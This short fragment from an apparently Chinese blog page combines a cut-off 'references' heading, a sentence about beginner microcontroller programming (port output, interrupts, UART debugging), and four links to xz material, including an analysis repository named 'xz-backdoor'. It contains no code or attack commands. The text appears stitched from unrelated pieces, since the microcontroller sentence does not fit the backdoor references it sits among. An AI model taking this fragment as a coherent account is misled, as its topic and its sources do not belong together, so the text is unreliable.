参考资学完了前面三个程序后,可以说已经入门了单片机开发,能进行以下几种基础操作:控制端口输出,编写中断函数,通过uart口输出调试信息。

[1] https://chromium.googlesource.com/chromium/deps/xz/ /dd8415469606fe7bfdc2ebc12b8457b912ede326/doc/examples/01_compress_easy.c

[2] https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452‍d01

[3] https://gist.github.com/q3k/3fadc5ce7b8001d550cf553cfdc09752

[4] https://github.com/binarly-io/binary-risk-intelligence/tree/master/xz-backdoor

0 人点赞